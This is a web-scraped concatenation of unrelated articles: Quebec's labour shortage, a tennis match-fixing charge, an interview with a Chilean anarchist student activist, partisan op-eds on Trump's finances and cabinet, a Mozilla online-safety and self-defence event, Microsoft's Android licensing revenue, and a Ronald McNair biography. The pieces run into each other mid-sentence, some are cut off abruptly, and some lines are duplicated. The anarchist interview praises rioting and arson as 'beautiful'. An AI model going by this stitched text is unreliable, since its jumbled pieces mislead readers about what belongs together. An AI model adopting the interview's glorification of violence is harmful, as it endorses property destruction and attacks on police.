Quebec's GDP growth is likely to decline slightly next year, if only because there's "no more room for growth," given the lack of available labour, Côté said.
Regions struggle to attract workers
The labour shortage is already starting to have an effect, particularly in the regions outside Montreal.
Earlier this year, a fast food joint in Lévis, Que., was forced to close its doors due to lack of staff, and a McDonald's franchise in Val-d'Or raised its starting wage to $13/hour after having to temporarily shut down.
Sixpro, a manufacturing company near Drummondville, Que., also has difficulty recruiting. Sales director Nathalie Joyal said the firm attends job fairs in order to lure immigrants from Montreal.
"The future of our business is in danger because of a lack of sufficient manpower," Joyal said.
A poster advertisers the need for workers at Canimex, a manufacturing company in Drummondville. (Frank Desoer/Radio-Canada)
Denis Coderre, the owner of SGT 2000, a trucking company in Saint-Germain-de-Grantham, Que., said 40 of his 250 trucks are sitting unused because he can't find anyone to drive them.
He has been forced to turn down contracts and growth of his business slowed in 2017. "I talk to a lot of transport companies and they are having the same problems," he said.
Identity vs. new arrivals
At Quebec's National Assembly, however, debate has centred around an idea that won't have an effect for another two decades: boosting the province's low birth rate.
François Legault's Coalition Avenir Quebec, which is leading in the polls, recently pledged to give families financial incentives to have more children and eliminate fees for IVF fertility treatment.
"The size of the Quebec population is important for the defence of its identity, if not only because of the demographic weight Quebecers would have within Canada," Legault said.
Quebec Premier Philippe Couillard, left, shakes hand with Coalition Avenir Quebec Leader Francois Legault as Parti Quebecois Leader Jean-Francois Lisee, centre looks on. (Jacques Boissinot/Canadian Press)
The CAQ maintains Quebec should cut back the current number of immigrants from 50,000 to 40,000 a year to ensure they are properly integrated, citing the high unemployment rate among new arrivals.
Premier Philippe Couillard, for his part, is in favour of increasing the number of immigrants, but wants to ensure it's done in an effective way.
Yves-Thomas Dorval, head of Quebec's employers council, le Conseil du patronat du Québec, said his organization urged the province to take action a year ago.
The political debate around identity and immigration is misguided, he added. "Immigrants should be viewed as an opportunity, not as a trap."Oliver Anderson has been charged with match fixing. Credit:Getty Images Mr Arthurs declined to comment. Fairfax Media does not suggest he was involved in the alleged match-fixing in any way. Other tennis figures expressed dismay at Mr Anderson's alleged conduct, saying that while his work ethic could be questioned, he had the potential to have a strong career as a professional. "It's extremely disappointing," one well-known former professional said. "I just don't know why he would have [allegedly] got involved in something like that. I didn't think he was that dumb."
Oliver Anderson receives medical attention during last year's Australia Open, where he claimed the boys' title. Credit:Getty Images Victoria Police sporting integrity intelligence unit detectives charged Mr Anderson on summons with engaging in conduct that corrupts a betting outcome after an investigation which also involved Latrobe Valley detectives and bookmakers. He will appear at the Latrobe Valley Magistrates Court on March 2. It is alleged that Mr Anderson was approached to tank, or throw, the first set of his first round match, against another Australian, Harrison Lombe. He lost the first set 4-6, but won the next two 6-0, 6-2. Mr Anderson lost his next match at the $50,000 tournament, which was played by those on the lowest tier of professional tennis.
Fairfax Media has spoken to people who witnessed Mr Anderson's matches and did not consider anything about his play to be obviously unusual. Another person who had been close to the 18-year-old said he had struggled at times with his love for the sport, but that he thought he could become a top-70 ranked player. Mr Anderson had hip surgery last year, and did not play at the Australia Open wildcard event last month. He would not have been eligible to play this year in the boys competition, which has also been won by compatriots Nick Kyrgios and Bernard Tomic. Last year's Australian Open was rocked by revelations about the extent of match fixing in tennis, including that Victoria Police had questioned local tennis figures about matches which could be suspicious in the main draw of the tournament. A mixed doubles match was then reported as possibly fixed after an analysis of unusual betting patterns.
But there has only been one previous investigation into tennis match fixing in Australia which resulted in criminal charges. Tennis Australia integrity officials backed a new regime implemented last year to better detect corruption offences and inform players about the risks of organised crime. "We have upped the ante...[but] it's disappointing, there's no doubt about it," Ann West, head of integrity and compliance, said. "You would be naive to say it wasn't." Tennis Australia integrity officer Peter Peterson said that increased resources would make a difference to reducing the number of players tempted by corruption, and that the organisation had improved its education for players, which is offered for 12-year-olds through to professionals.
"We have zero tolerance for this type of behaviour. It's that simple." Victoria Police Assistant Commissioner Neil Paterson said that since the sports integrity intelligence unit was established in 2013, it has cracked three significant sports corruption cases: the Southern Stars soccer case; a harness racing fix involving the high-profile Cramp racing team; and a tennis sting involving former professionals Nick Lindahl and Matthew Fox. The Traralgon Challenger was also targeted in the Lindahl/Fox case. Assistant Commissioner Paterson said that while the offences uncovered by the unit so far had involved lower-profile sports or lower-tier tournaments or leagues, it was important to stamp out corruption no matter where it occurred. If a player had been corrupted at a lower level, organised crime figures could have leverage over them as their career progressed, he said.
"I'm not going to suggest it doesn't occur at more professional levels, in fact we know that it does. "Match fixing is one of the fastest growing organised crime types across the world. "In-play betting and individual sports...are the big, risky practices for us." Loading Assistant Commissioner Paterson said sports leagues and organisations had become better at sharing information with authorities and educating players to "target harden".Forty-four years ago today, on September 11, 1973, a military dictatorship seized power in Chile via a CIA-sponsored coup. They murdered thousands of people without trial, tortured tens of thousands, and forced hundreds of thousands into exile in a series of atrocities that some Trump supporters openly fantasize about carrying out in the US. Today, the legacy of the dictatorship persists in the laws it passed and the cutthroat neoliberal policies it introduced, but also in the repressive policing apparatus that serves democracy the same way it served a dictator. And something else persists: a powerful resistance movement. In the latest installment of our series on student organizing, we interviewed an anarchist participant in the Chilean student movement, in hopes of offering a little perspective on what student struggles look like outside the US.
Answers courtesy of Samuel Cactus. Photos courtesy of Frente Fotográfico.
Chilean youth in revolt.
Attitude.
Students winning against militarized riot police.
Please trace the origins of anarchist participation in the contemporary student movement in Chile.
Anarchism boomed in Chile during the first two decades of the 20th century. In large part, the workers’ movement spread this ideological current through strikes such as the longshoremen’s strike in 1903, the meatpackers’ strike in 1905, and the famous miners’ strike of 1907 in Iquique. Anarchism began to decline during the 1930s due to the rise of Marxism on one hand and the rise of fascism on the other, while parts of the Left became more and more institutionalized and integrated into the bourgeois electoral system. Over the following decades, anarchism diminished in the workers’ movement until, by the time of the dictatorship (1973-1990), it had become a minority position, more readily found in small circles of intellectuals.
In the 1990s, anarchism began its rebirth in Chile alongside the emerging punk scene and the participation of encapuchados (masked ones) in university protests and street demonstrations. By this time, anarchism was no longer anchored to the workers’ movement; it was being reborn as a part of the counterculture in the streets, squats, high schools, universities, and other informal spaces, among the generations that came of age during the dictatorship while listening to bands like La Polla Records, Los Miserables, Fiskales Ad-Hok, Ska-P, and the like.
There was also the influence of the latter generations of combatant youth during the 1980s. By that time, young people had learned a lot about street combat in the course of resisting the dictatorship, although ideologically this often did not extend beyond opposition to the police. The influence of the heterodox Marxist guerrilla organization MAPU-Lautaro, for example, and the decline of more traditional armed Marxist groups like the FPMR (Manuel Rodriguez Patriotic Front, the guerrilla wing of the Communist Party) and the MIR (the Revolutionary Left Movement) created a situation in which armed struggle was no longer centralized in the hands of groups that aspired to seize state power. As centralized groups declined, minoritarian groups and positions appeared that organized horizontally and practiced a low level of defensive violence.
This set the stage for the new generation of encapuchados that had been born in the 1990s to advance a new position and new kinds of action in the massive explosion of protest in high schools in 2006.
A high-school student assembly.
“The mask is the face of the people.”
The first protests against university tuition hikes under President Ricardo Lagos (2000-2006) had begun to pick up steam in 2004. In 2006, the so-called “Penguin Revolution” broke out. This was the first awakening of students on a massive scale since the protests that took place in the 1980s under the dictatorship. This time, it was a generation that hadn’t lived under the dictatorship, a generation that grew up under democracy yet realized that the ghost of Pinochet was still present—that we were living under the normative framework imposed by Pinochet’s military government and their civil technocrats. We still are today.
At that time, in 2006, the Organic Constitutional Law on Education (LOCE) created under the dictatorship was still in place. It secured a precarious education for the poor and a luxury education for the rich, creating a brutal class divide that manifested itself in the scores on university selection exams. At the same time, Santiago was wracked by generalized discontent generated by the introduction of a new urban bus system (“transantiago”)—a total disaster that had grave consequences for those who had to commute through the modern and bourgeois parts of Santiago.
Graffiti on campus reading “Against all authority.”
Campus autonomy in action.
Throughout the whole process of student rebellion, the question of the legitimacy of violence as a means of political expression came to the fore. The different responses to that question capture all the different positions you could find in this ideologically heterogeneous movement. A new generation of anarchist and Marxist youth differentiated themselves in those debates, emerging in the student protests and the traditional annual demonstrations of May 1 and September 11.
Violence has always been controversial as a method of struggle, but the contradictions within the current student movement center around this question. To put this in historical context, we can contrast these contradictions to the debates of the 1960s, ’70s, and ’80s. In the 1970s, the chief conflict in both the workers’ and students’ movements was about the dichotomy of reform versus revolution—for example, the MIR invoking the need for armed struggle versus the democratic reformism of the Community Party (PC). In 21st century protests in Chile, by contrast, the groups that utilize violence don’t just confront the police—they oppose every structure that centralizes political, religious, economic, or social power. This is why demonstrators sometimes target banks, pharmacies, governmental buildings, churches, fast food chains, and the like.
This is the consequence of the transformation from the dictatorship to the current model of Chilean society. Demonstrators are no longer simply arguing over whether reform or revolution is the best way to abolish the dictatorship. The tension between those who utilize violence against state power and property and those who seek to express themselves through the established legal channels is much more complicated.
One of the reasons for this is that social protest in Chile in the 21st century is heterogeneous and diverse. Many political tendencies cannot even agree on what it is they are disagreeing about. You have reformist sectors like the Communist Party, Revolucion Democratica, older groups like the MIR, and the whole institutionalized Left involved in the game of bourgeois electoralism; then there are Trotskyists of all kinds—Guevarists, old school Marxist-Leninists, neo-Marxists; and finally, there are all kinds of anarchists, including insurrectionary anarchists, individualists, anarcho-communists, anarcho-syndicalists, anarcho-punks, and nihilists. This makes contemporary social protest in Chile complex. Yet with respect to violence, certain polarities emerge. In the moments of confrontation, two positions arise concerning these acts: those who support encapuchado violence against the social order (be they Marxist, anarchist, or otherwise) and those who react against it. For the institutional sector of the student movement, for example, encapuchado violence (what would be referred to as “black bloc” in North America) is an obstacle because it does not focus on “public opinion” and erodes confidence in the powers that the reformist groups seek dialogue with.
In and of itself, the student movement is a social-democratic and reformist movement that doesn’t seek to abolish the state, social classes, property, the capitalist mode of production, or patriarchal domination. Based in bourgeois institutions, it presents violence as counterproductive because rather than rupture, the student movement as a whole seeks an accord with power.
On the other hand, anarchists (who make up a large part of the encapuchados) do not seek a dialogue with power. Anarchists seek direct confrontation; they aren’t petitioning for free education from the state. These differences explain why disputes between institutionally coopted organizations and insurrectionary anarchists often escalate into physical confrontations.
Clashing with police over the walls of the university.
Defending an occupation.
In 2011, when the demand for “free education” became widespread, protest marches drew unprecedented numbers. Consequently, encapuchado violence, police repression, reformist organizing, and all of the tensions between these phenomena reached a peak, as did the student movement itself. The result was recurring physical confrontations involving “pacifists,” reformist students, and militants from institutional left parties over the question of violence and their different goals and positions.
The events of 2011 were a sort of climax resulting from all the accumulating lessons people had been learning since the 1990s. The scale of school occupations and student strikes was something new, but anarchists were hardly the only ones involved. For the most part, the occupations and strikes were intended to press for reformist demands, rather than to take power or as a step towards generalized insurrection. Anarchists made the most of the situation to propagate our ideas, address the newly mobilized students, and carry out actions. No doubt, this was a period of time in which anarchism grew—both in terms of encapuchado paticipation as well as the number of collectives, squats, books published, workshops, dinners, discussions, benefit shows, prisoners, and so on.
Of course, there are plenty of students who are neither Marxist nor anarchist, who simply adhere to the cause of public, free education yet nonetheless don the mask in order to confront repression. In 2011, just as in 2006, the police repression was so intense that reformist students and students who were not ideologically aligned also confronted the police—not with the intention of taking the offensive, but rather from the position of believing in rights, that is to say, reacting against what they considered to be “illegitimate” violence towards a legal movement that shouldn’t be repressed because it was democratic.
On the other hand, certain Marxist tendencies like Guevarists, Leninists, and Trotskyists legitimize encapuchado violence, but only in the service of their agendas—only in certain contexts, only as long as it is “approved of by the masses,” only as long as it’s not “individual action,” only when it is framed within the class struggle. One can identify many anarchists, even within anarchist organizations, who have more individualist positions and who believe in war against society in general (social war), beyond the class struggle. Other anarchists, such as those aligned with libertarian communism or more collectivist currents, also understand encapuchado violence as an expression of class struggle, but without as many conditions as Marxists. They don’t have as many problems with individual action if it is situated in a context of collective protest.
The debate around violence has even produced violence between the student demonstrators. Many times in many marches, in the middle of the confrontations between encapuchados and the police, anarchists and encapuchados have had to face legalist, reactionary tendencies trying to stop them, which almost always ended in phsyical confrontations between these two kinds of demonstrators.
Youth on the march.
Standing up to repression.
What are the different anarchist tactics and strategies for participating in student movements?
Anarchists are involved in the student movement, but without making demands of the state. They participate with the goals of radicalizing the student struggle, propagating anti-authoritarian ideas, and joining in street confrontations. Many anarchists try to politicize their social surroundings at their high schools and universities, above all the comrades more identified with Bakuninism and libertarian communism. The more nihilist, insurrectionary, and individualist tendencies focus more on participating in street violence in the context of mass marches.
Right now, confrontational tactics are used wholly in the service of institutional petitioning, to put pressure on the government. They have no revolutionary goal, because the student movement itself doesn’t have any revolutionary goals.
Regardless, they were important because within the school occupations there were relations of solidarity, activities to benefit the strikes, benefits for prisoners, political forums and discussions, and the like. Lots of kids whose politics didn’t go beyond “free education” or “an end to education for profit” became radicalized by taking part in those activities. Furthermore, although the school occupations and strikes were directed towards a reformist goal, they were expressions of rebellion that defied the authorities and exceeded traditional forms of protest.
This was pretty interesting, especially in 2011. The occupations of universities and high schools served as spaces for libertarian book fairs, punk shows, and discussions; for the months that they existed, they were liberated spaces, where solidarities and horizontal relationships developed outside the dictates of capitalism and convenience. There were potlucks, collective mural-painting projects, books, fanzines, communiqués. There were also instances of resistance and confrontation when the police finally evicted the occupations.
On duty at the occupation.
Keeping the police out.
How does the cost of education affect students in Chile? Does it shape who can go to school? Does it shape the politics and priorities of students? Is there anything that anarchist organizing can do about this?
In Chile, education is the driving force that reproduces and perpetuates class inequality and the domination of one class over the others. Beyond the economic aspect, there’s also the way that education serves as a form of domestication—being made to memorize things rather than think for oneself. There’s more math than anything else, with little time for history, and the history that they do teach you is a linear history comprised of events and dates that don’t require any actual thinking or questioning. All classes are indoctrinated to place blind faith in capitalism and authority.
What can anarchists do about this? Not much. The truth is that the demand for free education from the state is an institutional struggle of reformists, even though some more radicalized sectors take on this demand because they see it as a preliminary step toward a generalized struggle against capitalism. However, anarchists focus more on generating spaces of conflict and radicalization. The objective is revolt, not reform.
Revolt, not reform.
“With or without a mask, showing up for the struggle.”
Talk about the cultural element of student resistance.
This can include murals, book and propaganda fairs, literature distribution (feria), art shows, and workshops. All of this takes place often, but it reached a high point in 2011. For example, there were workshops about subjects indirectly connected to the student movement—such as the laws that endure from Pinochet’s dictatorship, the logic of market-based education, and the solutions that the movement proposed, like establishing new educational laws that would eliminate the privatization of education.
Anarchists hosted workshops that went beyond demanding access to bourgeois jobs and a more “just” education. They proposed a libertarian notion of education outside the relations of authority and domination. The dynamics in these spaces were different than the dynamics inside squatted social centers, for example. The occupations of universities and high schools are almost universally anti-capitalist but diverse in terms of particular ideologies.
Anarchists were always a minority, both in the occupations and in the streets. Yet the marches were so massive—involving 300,000 people by August 2011—that although they were a minority, there were still A LOT of encapuchados. In terms of quantitative damage, they were genuinely a thorn in the side of the authorities, and the police were often overwhelmed.
A festival of resistance.
Poking out the eye in the sky.
Do you want to close with any stories from student struggles in Chile?
The first mass march of 2011 took place as a protest against hydroelectric dams in the south, in Patagonia, a project of the corporation HidroAysen. The government approved the controversial project; in response, there was an enormous, spontaneously organized march in front of the presidential palace, La Moneda. It ended in a big riot.
The pacifist and conciliatory sectors tried in vain to restrain the encapuchados. They ended up just leaving the march. By about 10 pm, almost all the reactionaries had left and only insurrectionary people remained on the streets. Looking down Alameda, the main boulevard through downtown Santiago, one could see various banks in ruins and hear the sounds of glass breaking from the storefronts of companies and institutions. A McDonalds was left in flames. It was beautiful.
The “encapuchado bike rides” (think: “black bloc bike rides”) were also beautiful. I believe three occurred between 2011 and 2013. They were promoted through social networks and by word of mouth. The police didn’t dare try to enter the bloc. The first two of those bike rides drew lots of people—I would venture a guess at 500 or 600 people in bloc, on bikes, destroying political and commercial advertisements and confronting luxury cars. The bloc started at Plaza Italia and, instead of heading downtown towards the presidential palace like every other march does, took off the other direction, towards Providencia, the center of bourgeois high society in Santiago, and finally arrived at the enormous Costanera Center mall—the tallest skyscraper in Latin America, a symbol of capitalist wealth. In the first two bike rides, they managed to enter the mall with their bicycles, chanting “Death to the state! Viva la anarquía!” and writing graffiti on the walls and windows of luxury stores.
But above all, the days of August 2011 were unforgettable. First, there was the day of double protests (day and night) on August 4, then the two-day strike of the CUT (Workers’ United Center of Chile), supported by the students and by labor unions.
On August 4, it was just students taking action, but with an enormous attendance. Starting at 7 in the morning, barricades went up in various parts of Santiago. During the afternoon, people confronted the police throughout the center of the city. In the end, there was no march—the government didn’t authorize it. Yet it was a day of massive, generalized protest, with caseroleos (people banging pots and pans) from their patios or out of their windows. This was unusual, having the support from the majority of ordinary citizens. Even hippies who reject violence were throwing stones at the police in response to the context of indiscriminate repression and authoritarianism.
The days of August were some of the few protests during that period in which violence was regarded as a legitimate tactic by wide sectors of the student movement. On all the street corners downtown, enormous groups of encapuchados were waiting for police cars to pass in order to attack them. There were barricades everywhere, and millions of pesos were lost as a result of the destruction of property. Those were the most generalized instances of revolt I have seen in my lifetime.
Defending campus as an autonomous zone.
Wild in the streets.
Defiance.
Further Viewing and Listening on Social Movements in Chile
The Chicago Conspiracy—A documentary exploring the legacy of the military dictatorship in Chile and the forms resistance takes.
The Ex-Worker podcast, episode #29: Anarchism in Chile, Part I
The Ex-Worker podcast, episode #30: Anarchism in Chile, Part IIIf you were paying attention to what we learned about Donald Trump during the 2016 campaign, then you know that the president of the United States was once the impresario of a student-swindling Trump University, the founder of a Trump Foundation designed for tax evasion and illegal self-dealing, and the chief executive of a Trump Organization that has long relied on various techniques of grifting, from rip-offs of workers and contractors to serial bankruptcies.
And if you know all that, then you cannot be surprised by the way that he and his family have conducted themselves during the first 100 days of his presidency, which is also the way they will behave until they leave or are removed from the White House. They have misused the office of the president to enrich themselves in ways that none of Trump's predecessors, not even the most venal, could have imagined doing.
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Nor can you be surprised that this grasping figure and his appointed cronies, notably Treasury Secretary Steven Mnuchin, have floated a tax "reform" that will enrich the very wealthiest Americans by trillions of dollars, while decimating necessary government functions and depriving millions of working-class and low-income families of health care.
While Trump has long refused to abide by the customs and traditions that dictate tax disclosure by presidents and presidential candidates, we know enough about his taxes to see that his new plan, although sorely lacking in detail, will serve his personal interest above all. (No, he didn
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online and not want to be online,” Dhalla tells The Verge. Her goal is to encourage people to understand that privacy and security is something all people are entitled to.
“We know to have the things we want, like openness and collaboration and equality and all that sort of stuff, people have to feel safe online... If you don't have that, then you're going to have large groups of the population just not engaging online. And then you're just going to have one type of people and it's not going to be an inclusive setting.”
“you need to understand the spaces you're in, whether they're real life or digital life.”
My first reaction to the event was, frankly, bewilderment — first, about why a company best known for a web browser was tackling online safety, and second, the concerning juxtaposition of online and offline safety. Learning how to protect yourself from harassers and trolls online is a crucial, albeit deflating, part of existing online; it’s hard to grasp how easily you can become a target until you’ve seen or experienced it firsthand. Having to physically fight off an attacker — who may or may not have gotten their start as an online stalker — is a much more frightening implication.
But Dhalla says that learning to protect yourself online should be taken as seriously as physical safety. “You walk every day in a crowd, sure, but you're online even more,” she says. “Understanding how to protect yourself in both realms is important.”
“I don't want to say you need to protect yourself more online or more offline,” Dhalla adds. “I think you need to understand the spaces you're in, whether they're real life or digital life.”
The burden of protection shouldn’t have to fall directly on women, but women are frequently the target of online attacks. Dhalla’s goal is to help participants feel empowered. Teaching online safety and privacy to a group of people, any group of people, is not without its challenges. There is a basic question of literacy, understanding how and why and what is involved with protecting yourself online. And each person’s experience is unique. Their contact with harassers is likely dependent on factors like their job, age, location, race, gender, or general interest in participating on platforms like Snapchat, Instagram, or Twitter. For some, using a service like LastPass is the first and final step they’ll need to take; others might go as far as setting up VPN servers and locking down social accounts.
The class itself is mixed in this regard, ranging from women with high knowledge of how to stay safe and those who were unfamiliar with the concept of doxxing, or removing personal information from third-party sites online. One woman told me earlier in the night that she felt naive about the internet and how to protect herself; another had recently started practicing basic safety steps, like covering her computer’s built-in camera with a post-it note. Organizers pass out a sheet with basic tips for protection: turning off tracking on social media, not clicking on unrequested email links, two-factoring accounts. The session involves a lot of interaction, with Dhalla hosting a “true or false” quiz on a variety of security topics (“Can Macs get viruses?”) and asking women to share their experiences.
These are the kind of first steps most internet-savvy people are likely to already know. Dhalla tells The Verge that when it comes to teaching security, the best way to start is… small. “I don't expect anyone in this room to set up a VPN,” she says, despite listing it on her handout. “But I do want you to know that there are options, and I do want you to know that something as small as covering your webcam is the first step to you being empowered in your digital life.”
Chaos ensues for a few rounds
As the session wraps, the group meanders over to the large, empty space on the other side of the room. This is where the physical portion kicks in. Mozilla hired a New York Krav Maga instructor to pass on some basic tips about defending yourself from bodily harm, or worse. The instructor is frank about the possible outcomes, which women rarely need reminding of. Everyone partners up as he encourages us to lock grips — one hand on the other person’s shoulder, one on their arm — and do our best to get behind the person without breaking our own hold. He counts down from 10, and suddenly the room is filled with the scuffling sounds of women grunting and circling like teenage crabs at a school dance.
Chaos ensues for a few rounds, punctuated by a polite swapping of partners. Over the course of the hour, we’re instructed on how to position ourselves, techniques to most effectively slam someone in the crotch, how to gouge someone’s eyes, and — if you do in fact successfully get behind a person — how to bring them to their knees and successfully choke them into passing out. Before each round with a new partner, participants happily greet each other and extend a hand to shake. A woman introduces herself and I return the cheerful greeting; not even 30 seconds later I’ve accidentally knocked her to the floor by pushing a little too aggressively on her hip. I pull her up and we start again.
The Krav Maga session is certainly more thrilling than 45-minute circle talk; it’s exhausting, too, but in a more obvious, physical way. By the time it ends, everyone is sweating and panting heavily. Throughout the entire hour, it was impossible not to participate, not to engage in learning self-defense tactics. That’s the kind of hands-on experience that online security so desperately needs. Something as immediate and tangible and real as being knocked to the floor.
“When you talk about privacy and security, most of the time people are like, ‘Oh this is kind of boring,’” Dhalla says. “But it shouldn't be. It's a huge issue, and it's a huge topic to have a conversation on. We want to bring it in on a fun, lightweight type of way where people can understand and grapple with it and see it more as a social mainstream thing that is like engaging vs. the latter.”
Of course people hold physical harassment in a higher regard; it’s a visible danger, a clear and obvious one. In the days following the class, purple and blue bruises swell up around my arms and legs where I made repeated — and consensual — contact with women I trained with. But the bruises from the online harassment I’ve experienced are invisible. They become inflamed, and when untreated, spread quietly inside my head. After years of existing in my own professional spotlight on the internet, I’ve learned how to heal and sometimes even ignore the racist or sexist slurs, the rape threats, the intimidation meant to cow and silence me. I’ve also never forgotten any of it. Online harassment is real danger. It triggers a physical reaction in you, whether or not your harasser is standing in front of you.
Dhalla says that confidence is key. By encouraging women in the physical sense — inspiring them to be proud and confident and strong — she believes it will help them to take control of their lives online, as well. But there remains an onus on companies and members of tech to do better as well. Dhalla says that Mozilla hopes to continue these events nationwide, and eventually with its partners internationally, in addition to the the privacy and security tips it offers online. It’s already hosted another real-life event focused on privacy and surveillance, a pop-up last year called The Glass Room.
“It's just not enough now to say we want to help get women and girls into STEM,” Dhalla says. “We need to support them when they're there.”Microsoft CFO Amy Hood. Stephen Brashear/Getty Images Microsoft missed earnings expectations by a couple of cents per share on Thursday afternoon because of an unexpected tax adjustment that skimmed $0.04 off its earnings per share.
In the release, Microsoft noted that its patent-licensing revenue was down 26% from a year ago. And it's because of Android.
Android phones are still selling just fine, but the market is dominated by cheap handsets being sold in developing countries like China and India.
"The mix of devices in that market has shifted to the low end," said Chris Suh, Microsoft's head of investor relations.
Microsoft's cut is also sinking.
Suh also noted that not every Android manufacturer has a licensing deal with Microsoft. He didn't name names, but Chinese phone makers typically take a very loose approach toward licensing American intellectual property, and as those inexpensive phones take over the world, Microsoft doesn't benefit as much.
At one point, Microsoft was reported to be booking $2 billion a year from licensing its patents and other intellectual property to Android handset makers like Samsung and HTC. Microsoft has never confirmed that number, but it's probably a drop in the bucket compared to the overall Windows business, which booked revenue around $4.2 billion this quarter. ("Windows revenue decreased $292 million or 7%," the release says.)
Still, the Android gravy train is slowing down for everybody.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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As Donald Trump unveils his cabinet of deplorables, it’s getting hard to imagine how Democrats are going to “pick their battles”—the warning that’s become a cliché of Trump transition coverage (just Google it). The Wall Street Journal reported that even incoming Senate minority leader Chuck Schumer says, “Democrats will pick their battles,” as he singled out Trump’s selection for attorney general, Senator Jeff Sessions, as someone who would be subject to tough Democratic scrutiny at confirmation hearings. Ad Policy
And he should be; Sessions was rejected for a federal judgeship 30 years ago for his blinkered racial views and his persecution of black voting-rights advocates in Alabama while he was a federal prosecutor. But Democrats should be fighting virtually all of Trump’s picks. The president-elect is presenting Democrats with a political opportunity even before he takes the oath of office. The so-called champion of the working class is assembling a gilded cabinet. Not only will it be the richest, ever; it features plutocrats who’ve presided over the hollowing out of the working class Trump pretended to care about. Party leaders should be shouting about this from every imaginable platform.
The Treasury secretary appointed after a campaign spent demonizing Wall Street and “hedge-fund guys” is a former Goldman Sachs banker and hedge-fund guy, Steve Mnuchin, whose bank foreclosed on 37,000 homeowners after the housing crash.
, whose bank foreclosed on 37,000 homeowners after the housing crash. Trump’s reported choice for labor secretary is the minimum wage–opposing, job-killing fast-food mogul Andrew Pudzer, who talks fondly about the day robots will replace workers at his restaurants. Pudzer has been a leader of the corporate fight against the Fight for $15, and he was a passionate supporter of the immigration-reform bill that failed in 2013—and he’ll be in charge of enforcing labor laws.
, who talks fondly about the day robots will replace workers at his restaurants. Pudzer has been a leader of the corporate fight against the Fight for $15, and he was a passionate supporter of the immigration-reform bill that failed in 2013—and he’ll be in charge of enforcing labor laws. Then there’s the billionaire nominee for Commerce Secretary, Wilbur Ross, who owned the deadly Sago Mine in West Virginia when 12 workers were killed in a 2006 explosion. Three years later, he closed the mine. Trump, you’ll recall, has promised to “bring back coal” and “bring back miners.” How will coal country feel about Secretary Ross?
, who owned the deadly Sago Mine in West Virginia when 12 workers were killed in a 2006 explosion. Three years later, he closed the mine. Trump, you’ll recall, has promised to “bring back coal” and “bring back miners.” How will coal country feel about Secretary Ross? Meanwhile, Trump’s pick to head the Environmental Protection Agency, Scott Pruitt, is a climate-change denier who has sued the EPA as Oklahoma attorney general.
, is a climate-change denier who has sued the EPA as Oklahoma attorney general. His Health and Human Services nominee, Representative Tom Price, opposes the Affordable Care Act and wants to privatize Medicare. Price once claimed it was impossible that any woman would be unable to pay for her own birth control. “Bring me one woman who has been left behind,” he told the Conservative Political Action Conference. “Bring me one. There’s not one.”
, opposes the Affordable Care Act and wants to privatize Medicare. Price once claimed it was impossible that any woman would be unable to pay for her own birth control. “Bring me one woman who has been left behind,” he told the Conservative Political Action Conference. “Bring me one. There’s not one.” Then there’s Housing and Urban Development nominee Ben Carson, who has zero experience in housing or urban development and appears to oppose Fair Housing laws.
, who has zero experience in housing or urban development and appears to oppose Fair Housing laws. Betsy DeVos, the pick for education secretary, is yet another billionaire. She sent her children to private schools and has crusaded to privatize public education.
I could go on, but I’ll stop there. (There’s also his troika of retired generals—Mike Flynn as national security adviser, James Mattis as secretary of defense, and Jim Kelly as homeland security director—who raise separate questions about military influence in the cabinet.)
But so far, presented with these political gifts, Democrats have been fairly silent. They’ve pledged to fight Sessions, and they should, but no one else has come in for much attack, although today Senator Ed Markey said he would oppose Pruitt’s nomination to head the EPA, and Schumer had some tough words for Pudzer as labor secretary. That’s good news, but it’s not enough.
On one level, I understand the need for Democrats to “pick their battles.” They may be more likely to win GOP support to actually block a nominee or two by being selective. But no one has yet marshaled an argument to Trump voters that they’ve been hoodwinked: that the outsider candidate has picked a cabinet of insiders, who make an utter mockery of his promises to look out for the “forgotten man.” Democrats should be making the case, as Ben Adler argues in The Guardian, that Trump is “a self-dealing political profiteer and a tool of the business and political elite.” Jeff Hauser of the Revolving Door Project has suggested that Democrats refuse to consider any appointments until Trump discloses and then divests himself of his global and largely secret financial empire—especially since we can’t trust Trump’s picks to monitor his self-dealing. Tell the Senate to Block Trump’s Cabinet of Hate and Wall Street Greed Take Action Now!
Part of the problem is the Democrats have a leadership vacuum right now. President Obama has said he doesn’t see anti-Trump agitation as his role. Hillary Clinton doesn’t seem temperamentally inclined to do that, and at any rate, she’d be dismissed as a sore loser (though she won the popular vote by at least 2.7 million, let’s always remember). House minority leader Nancy Pelosi is formidable on legislative strategy, but rarely stands as the public face of the party. Senate minority leader Harry Reid, a reliable fighter, is retiring. Schumer loves attention, but it seems as though he hasn’t yet decided how hard he wants to fight. There’s no permanent Democratic National Committee chair. Senator Bernie Sanders has been reliably vocal, and while he’s still not a Democrat, he’s been given a leadership role. Here’s hoping he uses it to stiffen his colleagues’ spines for these battles.
Maybe this will start to change after the holidays, when senators begin planning hearings for these nominees. There will be plenty of opportunity for rising stars to shine, by grilling nominees with strong research into their careers, their potential conflicts of interest, and their policy beliefs. But right now Democrats are missing an opportunity to brand the president-elect as a man who’s betraying his base, right out of the gate. They should certainly pick their battles—a lot of them.
Listen to Joan Walsh discuss Trump’s nominees on the Start Making Sense podcast.Ronald Erwin McNair (October 21, 1950 – January 28, 1986) was an American NASA astronaut and physicist. He died during the launch of the Space Shuttle Challenger on mission STS-51-L, in which he was serving as one of three mission specialists in a crew of seven.
In 1976, he received a Ph.D. degree in Physics from the Massachusetts Institute of Technology under the guidance of Michael Feld, becoming nationally recognized for his work in the field of laser physics.
In 1978, McNair was selected as one of thirty-five applicants from a pool of ten thousand for the NASA astronaut program. He flew on STS-41-B aboard Challenger from February 3 to February 11, 1984, as a mission specialist becoming the second African American and the first Bahá'í to fly in space.
Following this mission, McNair was selected for STS-51-L, which launched on January 28, 1986, and was subsequently killed when Challenger disintegrated nine miles above the Atlantic Ocean just 73 seconds after liftoff.[1]
In 1971, he received a Bachelor of Science degree in Engineering Physics, magna cum laude, from the North Carolina Agricultural and Technical State University in Greensboro, North Carolina.[2]
After graduation from MIT (receing four honorary doctorates, a score of fellowships and commendations while achieving a 6th degree black belt in taekwondo, he became a staff physicist at the Hughes Research Lab in Malibu, California. McNair was a member of the Bahá'í Faith.[3]
